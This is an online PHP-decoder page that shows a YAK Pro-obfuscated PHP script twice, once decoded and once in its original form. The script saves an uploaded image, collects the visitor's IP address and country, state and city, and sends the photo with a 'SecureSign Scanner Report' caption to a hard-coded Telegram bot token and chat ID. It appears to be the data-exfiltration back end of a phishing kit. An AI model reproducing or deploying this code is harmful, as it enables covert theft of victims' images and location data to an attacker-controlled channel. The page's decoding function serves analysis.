Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* __________________________________________________ | Obfuscated by YAK P..
Decoded Output download
<?php
/* __________________________________________________
| Obfuscated by YAK Pro - Php Obfuscator 2.0.14 |
| on 2025-01-25 06:38:38 |
| GitHub: https://github.com/pk-fr/yakpro-po |
|__________________________________________________|
*/
goto C79d3; F29c9: if (is_dir($D5367)) { goto b8dae; } goto d5b5f; Fb0f8: $Ab8db[] = C75f0("KkNvdW50cnk6KiA=") . $ebce2; goto bd788; c1fdd: $Ab8db[] = c75f0("KkNpdHk6KiA=") . $Aa2d8; goto d25ee; D2723: $E2cf2 = pathinfo($cdf5d[c75F0("bmFtZQ==")], PATHINFO_EXTENSION); goto C44b9; Df2be: file_put_contents($A0361, json_encode([c75F0("aGFzaA==") => $E7865, c75f0("dGltZXN0YW1w") => time()])); goto B648e; E56d4: $Ab8db[] = C75f0("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t"); goto c7b52; Ef25b: $Acfea = [C75f0("Y2hhdF9pZA==") => $B042c, c75F0("Y2FwdGlvbg==") => $da748, C75f0("cGFyc2VfbW9kZQ==") => C75f0("TWFya2Rvd24="), c75F0("cGhvdG8=") => new CURLFile($adb32)]; goto A1f5d; ffd2a: $Ab8db[] = c75F0("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t"); goto cdc64; B0363: error_log(C75f0("VGVsZWdyYW0gY1VSTCBlcnJvcjog") . curl_error($ff21f)); goto c2427; bd788: $Ab8db[] = C75f0("KlN0YXRlOiog") . $d75f6; goto c1fdd; F96e9: $B6a2b = 1; goto cddc3; e822f: echo json_encode([C75F0("c3VjY2Vzcw==") => false, c75f0("bWVzc2FnZQ==") => C75F0("Tm8gaW1hZ2Ugd2FzIHVwbG9hZGVkLg==")]); goto e7889; De368: $c0480 = $cdf5d[C75F0("dG1wX25hbWU=")]; goto e7c90; B724d: $ebce2 = $Ce778[c75f0("Y291bnRyeQ==")] ?? c75F0("Ti9B"); goto eac66; Da0ba: $Ab8db[] = c75f0("KklQIEFkZHJlc3M6KiA=") . $e4e33; goto Ed20a; c2427: d8bcd: goto d9ec7; e5b6a: if (!($cdf5d[c75F0("ZXJyb3I=")] !== UPLOAD_ERR_OK)) { goto A1498; } goto D1e6e; B875a: A1498: goto De368; C50a3: $Ab8db = []; goto B1d2a; C44b9: $c9d7a = uniqid(C75F0("aW1nXw=="), true) . "." . $E2cf2; goto ff81b; C79d3: function c75F0($a3ae9) { return base64_decode($a3ae9); } goto Fb324; B7d94: if (!($fc104 && isset($fc104[C75f0("aGFzaA==")], $fc104[c75F0("dGltZXN0YW1w")]))) { goto C5538; } goto b7418; Ce008: if (isset($_FILES[C75f0("aW1hZ2U=")])) { goto Ef62f; } goto e822f; B1d2a: $Ab8db[] = C75f0("K+iHsCBTZWN1cmVTaWduIFNjYW5uZXIgUmVwb3J0Kg=="); goto E56d4; B547e: b8dae: goto D2723; D1e6e: echo json_encode([C75f0("c3VjY2Vzcw==") => false, c75f0("bWVzc2FnZQ==") => C75f0("RmlsZSB1cGxvYWQgZXJyb3I6IA==") . $cdf5d[C75F0("ZXJyb3I=")]]); goto e0df7; c0f58: if (!isset($_POST[c75F0("aXBfaW5mbw==")])) { goto bf16d; } goto cea83; d5b5f: mkdir($D5367, 0777, true); goto B547e; B847a: $A0361 = __DIR__ . "/" . C75F0("bGFzdF9wcm9jZXNzZWQudHh0"); goto F2844; ff81b: $adb32 = $D5367 . $c9d7a; goto Dbcff; e0df7: exit; goto B875a; b7418: if (!($E7865 == $fc104[c75f0("aGFzaA==")] && time() - $fc104[c75F0("dGltZXN0YW1w")] < $B6a2b)) { goto ff550; } goto Decf4; facc1: $Ce778 = $e0242[c75F0("bG9jYXRpb24=")]; goto B724d; Fb324: header(c75f0("Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29u")); goto Ce008; F2844: $E7865 = md5($da748); goto F96e9; Ab92f: curl_setopt($ff21f, CURLOPT_HTTPHEADER, [c75F0("Q29udGVudC1UeXBlOiBtdWx0aXBhcnQvZm9ybS1kYXRh")]); goto Fd937; A1f5d: $ff21f = curl_init(); goto Ab92f; Aae33: if (!curl_errno($ff21f)) { goto d8bcd; } goto B0363; cddc3: if (!file_exists($A0361)) { goto e0b4c; } goto Cabd3; e7889: exit; goto fc7db; B104f: bf16d: goto C50a3; Fd937: curl_setopt($ff21f, CURLOPT_URL, $B81b0); goto a3b77; cea83: $e0242 = json_decode($_POST[c75f0("aXBfaW5mbw==")], true); goto B104f; A5519: $Aa2d8 = $Ce778[C75f0("Y2l0eQ==")] ?? C75f0("Ti9B"); goto Fb0f8; Cabd3: $fc104 = json_decode(file_get_contents($A0361), true); goto B7d94; a0155: $B81b0 = $E7cfe . $cf401 . C75F0("L3NlbmRQaG90bw=="); goto Ef25b; B648e: $cf401 = c75F0("NzU2MzIxMDAyMzpBQUVQd1RIeDdRUEJ5c3lsMm1rUXdfa0FtZ0FxRWw5WVZTRQ=="); goto eb9f2; e07c0: $Ab8db[] = C75f0("KkNpdHk6KiBOL0E="); goto b5044; D2f99: e0b4c: goto Df2be; E1b86: $Ab8db[] = C75f0("KlN0YXRlOiogTi9B"); goto e07c0; A2e66: $E7cfe = c75f0("aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA=="); goto a0155; D711b: exit; goto F4ebe; eb9f2: $B042c = c75F0("LTEwMDI0MTc5NTYzNDg="); goto A2e66; feb12: f5c42: goto facc1; C4e20: C5538: goto D2f99; c7b52: $e4e33 = $e0242["ip"] ?? $_SERVER[C75F0("UkVNT1RFX0FERFI=")]; goto Da0ba; abf8e: $e0242 = null; goto c0f58; a3b77: curl_setopt($ff21f, CURLOPT_RETURNTRANSFER, true); goto b3123; Ed20a: if ($e0242 && isset($e0242[C75f0("bG9jYXRpb24=")])) { goto f5c42; } goto c5cff; d9ec7: curl_close($ff21f); goto D8bbb; F4ebe: ff550: goto C4e20; c5cff: $Ab8db[] = c75F0("KkNvdW50cnk6KiBOL0E="); goto E1b86; Decf4: echo json_encode([c75F0("c3VjY2Vzcw==") => true, C75f0("bWVzc2FnZQ==") => c75F0("RHVwbGljYXRlIGRldGVjdGVkOyBUZWxlZ3JhbSBtZXNzYWdlIHNraXBwZWQu")]); goto D711b; f9d09: $cdf5d = $_FILES[C75F0("aW1hZ2U=")]; goto e5b6a; Db70f: $A7696 = curl_exec($ff21f); goto Aae33; ef054: curl_setopt($ff21f, CURLOPT_POSTFIELDS, $Acfea); goto Db70f; eac66: $d75f6 = $Ce778[c75F0("c3RhdGU=")] ?? c75F0("Ti9B"); goto A5519; Dbcff: move_uploaded_file($c0480, $adb32); goto abf8e; e7c90: $D5367 = __DIR__ . C75F0("L3VwbG9hZHMv"); goto F29c9; cdc64: $da748 = implode("\xa", $Ab8db); goto B847a; b3123: curl_setopt($ff21f, CURLOPT_POST, true); goto ef054; b5044: goto f05ea; goto feb12; fc7db: Ef62f: goto f9d09; d25ee: f05ea: goto ffd2a; D8bbb: echo json_encode([c75f0("c3VjY2Vzcw==") => true]);
?>
Did this file decode correctly?
Original Code
<?php
/* __________________________________________________
| Obfuscated by YAK Pro - Php Obfuscator 2.0.14 |
| on 2025-01-25 06:38:38 |
| GitHub: https://github.com/pk-fr/yakpro-po |
|__________________________________________________|
*/
goto C79d3; F29c9: if (is_dir($D5367)) { goto b8dae; } goto d5b5f; Fb0f8: $Ab8db[] = C75f0("\113\153\116\x76\144\127\65\x30\143\x6e\x6b\x36\x4b\151\101\75") . $ebce2; goto bd788; c1fdd: $Ab8db[] = c75f0("\x4b\153\x4e\x70\144\x48\153\x36\x4b\x69\x41\75") . $Aa2d8; goto d25ee; D2723: $E2cf2 = pathinfo($cdf5d[c75F0("\142\155\x46\164\x5a\121\x3d\75")], PATHINFO_EXTENSION); goto C44b9; Df2be: file_put_contents($A0361, json_encode([c75F0("\141\107\106\x7a\141\101\x3d\75") => $E7865, c75f0("\x64\107\x6c\x74\x5a\x58\116\60\x59\x57\61\x77") => time()])); goto B648e; E56d4: $Ab8db[] = C75f0("\114\x53\60\x74\114\123\60\164\x4c\123\x30\x74\x4c\x53\x30\x74\x4c\x53\60\164\x4c\123\60\164\x4c\123\60\x74\x4c\123\60\164\114\123\60\x74\114\123\60\164\x4c\123\60\x74\x4c\123\x30\x74"); goto c7b52; Ef25b: $Acfea = [C75f0("\131\62\x68\x68\x64\x46\x39\x70\x5a\101\75\75") => $B042c, c75F0("\131\x32\106\167\144\107\x6c\x76\x62\x67\x3d\75") => $da748, C75f0("\143\x47\x46\171\143\62\x56\146\142\x57\71\x6b\x5a\x51\x3d\75") => C75f0("\x54\x57\x46\171\x61\62\122\166\144\x32\x34\x3d"), c75F0("\143\x47\150\166\x64\x47\x38\x3d") => new CURLFile($adb32)]; goto A1f5d; ffd2a: $Ab8db[] = c75F0("\114\x53\60\164\114\123\60\x74\x4c\123\60\164\x4c\x53\x30\164\x4c\x53\60\x74\114\x53\x30\164\114\x53\x30\164\x4c\x53\60\x74\x4c\123\60\164\x4c\x53\60\164\114\123\60\x74\114\x53\60\x74"); goto cdc64; B0363: error_log(C75f0("\126\x47\126\x73\132\127\x64\x79\x59\127\x30\147\x59\61\x56\x53\x54\x43\x42\154\143\156\x4a\x76\143\152\157\x67") . curl_error($ff21f)); goto c2427; bd788: $Ab8db[] = C75f0("\x4b\x6c\x4e\60\x59\x58\122\x6c\x4f\151\157\x67") . $d75f6; goto c1fdd; F96e9: $B6a2b = 1; goto cddc3; e822f: echo json_encode([C75F0("\x63\x33\126\x6a\131\62\126\172\x63\x77\75\x3d") => false, c75f0("\142\127\126\x7a\x63\x32\106\x6e\x5a\x51\75\x3d") => C75F0("\x54\155\70\x67\x61\x57\61\150\132\62\x55\x67\144\x32\x46\x7a\x49\x48\x56\x77\x62\107\x39\x68\x5a\x47\126\x6b\114\x67\75\75")]); goto e7889; De368: $c0480 = $cdf5d[C75F0("\x64\x47\x31\167\x58\62\x35\x68\142\127\125\x3d")]; goto e7c90; B724d: $ebce2 = $Ce778[c75f0("\x59\x32\x39\61\x62\x6e\x52\171\x65\x51\x3d\x3d")] ?? c75F0("\124\x69\x39\x42"); goto eac66; Da0ba: $Ab8db[] = c75f0("\x4b\153\x6c\121\111\x45\106\153\132\110\x4a\x6c\x63\63\115\x36\113\151\101\75") . $e4e33; goto Ed20a; c2427: d8bcd: goto d9ec7; e5b6a: if (!($cdf5d[c75F0("\x5a\130\x4a\171\x62\x33\x49\75")] !== UPLOAD_ERR_OK)) { goto A1498; } goto D1e6e; B875a: A1498: goto De368; C50a3: $Ab8db = []; goto B1d2a; C44b9: $c9d7a = uniqid(C75F0("\141\127\61\156\x58\x77\x3d\x3d"), true) . "\x2e" . $E2cf2; goto ff81b; C79d3: function c75F0($a3ae9) { return base64_decode($a3ae9); } goto Fb324; B7d94: if (!($fc104 && isset($fc104[C75f0("\141\107\106\172\141\x41\x3d\75")], $fc104[c75F0("\x64\107\154\x74\x5a\x58\x4e\x30\131\x57\x31\x77")]))) { goto C5538; } goto b7418; Ce008: if (isset($_FILES[C75f0("\x61\127\61\150\132\x32\125\75")])) { goto Ef62f; } goto e822f; B1d2a: $Ab8db[] = C75f0("\x4b\53\x69\x48\x73\103\102\124\132\127\116\x31\143\155\x56\x54\x61\x57\144\165\111\x46\116\x6a\131\127\x35\165\132\x58\111\x67\125\155\126\167\x62\x33\112\60\113\147\75\x3d"); goto E56d4; B547e: b8dae: goto D2723; D1e6e: echo json_encode([C75f0("\x63\x33\x56\x6a\131\62\126\172\143\x77\x3d\75") => false, c75f0("\142\x57\x56\172\x63\62\106\x6e\x5a\x51\x3d\x3d") => C75f0("\122\x6d\154\x73\x5a\123\x42\x31\x63\107\170\166\131\127\x51\x67\x5a\130\x4a\x79\x62\x33\x49\x36\x49\x41\75\75") . $cdf5d[C75F0("\132\130\112\171\x62\x33\111\x3d")]]); goto e0df7; c0f58: if (!isset($_POST[c75F0("\141\x58\102\146\141\x57\x35\155\142\167\75\x3d")])) { goto bf16d; } goto cea83; d5b5f: mkdir($D5367, 0777, true); goto B547e; B847a: $A0361 = __DIR__ . "\x2f" . C75F0("\142\107\x46\x7a\x64\106\71\167\143\x6d\71\x6a\x5a\130\x4e\172\x5a\x57\121\165\144\110\150\60"); goto F2844; ff81b: $adb32 = $D5367 . $c9d7a; goto Dbcff; e0df7: exit; goto B875a; b7418: if (!($E7865 == $fc104[c75f0("\x61\x47\x46\x7a\x61\x41\x3d\x3d")] && time() - $fc104[c75F0("\144\x47\154\x74\132\130\x4e\x30\131\127\x31\167")] < $B6a2b)) { goto ff550; } goto Decf4; facc1: $Ce778 = $e0242[c75F0("\x62\107\x39\152\131\x58\122\160\x62\x32\64\75")]; goto B724d; Fb324: header(c75f0("\x51\x32\71\x75\144\107\x56\x75\x64\x43\61\125\x65\x58\102\x6c\117\x69\102\150\143\110\102\163\141\127\x4e\x68\144\x47\x6c\x76\142\x69\x39\161\x63\x32\71\165")); goto Ce008; F2844: $E7865 = md5($da748); goto F96e9; Ab92f: curl_setopt($ff21f, CURLOPT_HTTPHEADER, [c75F0("\121\x32\71\x75\144\107\x56\165\144\x43\61\x55\x65\x58\102\x6c\x4f\x69\102\164\144\127\x78\x30\x61\x58\x42\150\143\x6e\121\166\132\x6d\71\171\x62\123\61\x6b\x59\x58\122\x68")]); goto Fd937; A1f5d: $ff21f = curl_init(); goto Ab92f; Aae33: if (!curl_errno($ff21f)) { goto d8bcd; } goto B0363; cddc3: if (!file_exists($A0361)) { goto e0b4c; } goto Cabd3; e7889: exit; goto fc7db; B104f: bf16d: goto C50a3; Fd937: curl_setopt($ff21f, CURLOPT_URL, $B81b0); goto a3b77; cea83: $e0242 = json_decode($_POST[c75f0("\x61\130\102\x66\141\127\65\155\x62\167\75\75")], true); goto B104f; A5519: $Aa2d8 = $Ce778[C75f0("\x59\62\x6c\60\145\x51\75\75")] ?? C75f0("\124\151\x39\x42"); goto Fb0f8; Cabd3: $fc104 = json_decode(file_get_contents($A0361), true); goto B7d94; a0155: $B81b0 = $E7cfe . $cf401 . C75F0("\x4c\x33\116\x6c\x62\155\x52\121\141\x47\71\x30\x62\167\75\75"); goto Ef25b; B648e: $cf401 = c75F0("\116\x7a\125\x32\x4d\172\111\x78\x4d\104\x41\x79\115\172\160\102\121\x55\126\x51\x64\x31\122\x49\x65\104\144\122\125\105\112\x35\x63\63\x6c\x73\x4d\155\61\162\125\x58\x64\146\141\x30\x46\164\132\60\x46\170\122\x57\x77\65\127\x56\132\124\122\121\75\x3d"); goto eb9f2; e07c0: $Ab8db[] = C75f0("\x4b\x6b\x4e\x70\x64\110\x6b\x36\113\x69\x42\117\114\x30\105\75"); goto b5044; D2f99: e0b4c: goto Df2be; E1b86: $Ab8db[] = C75f0("\x4b\x6c\116\x30\131\130\x52\x6c\x4f\x69\157\x67\124\x69\x39\102"); goto e07c0; A2e66: $E7cfe = c75f0("\141\110\x52\60\143\110\x4d\66\x4c\171\x39\x68\x63\x47\x6b\165\x64\x47\x56\x73\x5a\x57\144\x79\131\x57\x30\165\142\63\x4a\x6e\114\x32\x4a\166\x64\x41\x3d\75"); goto a0155; D711b: exit; goto F4ebe; eb9f2: $B042c = c75F0("\x4c\124\105\x77\115\x44\x49\60\115\x54\x63\65\116\124\x59\172\116\x44\x67\75"); goto A2e66; feb12: f5c42: goto facc1; C4e20: C5538: goto D2f99; c7b52: $e4e33 = $e0242["\x69\160"] ?? $_SERVER[C75F0("\125\153\126\116\124\x31\x52\106\x58\60\x46\x45\x52\106\111\75")]; goto Da0ba; abf8e: $e0242 = null; goto c0f58; a3b77: curl_setopt($ff21f, CURLOPT_RETURNTRANSFER, true); goto b3123; Ed20a: if ($e0242 && isset($e0242[C75f0("\142\107\71\x6a\131\x58\x52\160\x62\x32\x34\75")])) { goto f5c42; } goto c5cff; d9ec7: curl_close($ff21f); goto D8bbb; F4ebe: ff550: goto C4e20; c5cff: $Ab8db[] = c75F0("\x4b\153\116\166\144\x57\x35\x30\x63\156\x6b\66\113\x69\102\x4f\x4c\x30\105\x3d"); goto E1b86; Decf4: echo json_encode([c75F0("\x63\x33\126\152\131\x32\126\x7a\x63\167\x3d\x3d") => true, C75f0("\142\x57\126\x7a\x63\62\106\156\x5a\121\x3d\x3d") => c75F0("\x52\110\126\x77\x62\107\x6c\x6a\131\x58\x52\x6c\x49\107\122\154\144\x47\126\152\144\x47\x56\x6b\117\171\102\125\x5a\127\x78\x6c\x5a\x33\x4a\150\142\x53\x42\x74\x5a\130\x4e\172\131\x57\x64\x6c\x49\110\116\x72\141\x58\x42\167\132\x57\121\165")]); goto D711b; f9d09: $cdf5d = $_FILES[C75F0("\x61\x57\61\150\132\62\125\75")]; goto e5b6a; Db70f: $A7696 = curl_exec($ff21f); goto Aae33; ef054: curl_setopt($ff21f, CURLOPT_POSTFIELDS, $Acfea); goto Db70f; eac66: $d75f6 = $Ce778[c75F0("\143\x33\122\150\144\107\125\x3d")] ?? c75F0("\124\x69\x39\x42"); goto A5519; Dbcff: move_uploaded_file($c0480, $adb32); goto abf8e; e7c90: $D5367 = __DIR__ . C75F0("\x4c\63\x56\x77\142\107\x39\150\132\110\x4d\166"); goto F29c9; cdc64: $da748 = implode("\xa", $Ab8db); goto B847a; b3123: curl_setopt($ff21f, CURLOPT_POST, true); goto ef054; b5044: goto f05ea; goto feb12; fc7db: Ef62f: goto f9d09; d25ee: f05ea: goto ffd2a; D8bbb: echo json_encode([c75f0("\143\63\126\152\131\x32\126\172\143\167\x3d\75") => true]);
?>
Function Calls
None |
Stats
MD5 | af1439e2a77b498f63dfe89c3cf515fe |
Eval Count | 0 |
Decode Time | 63 ms |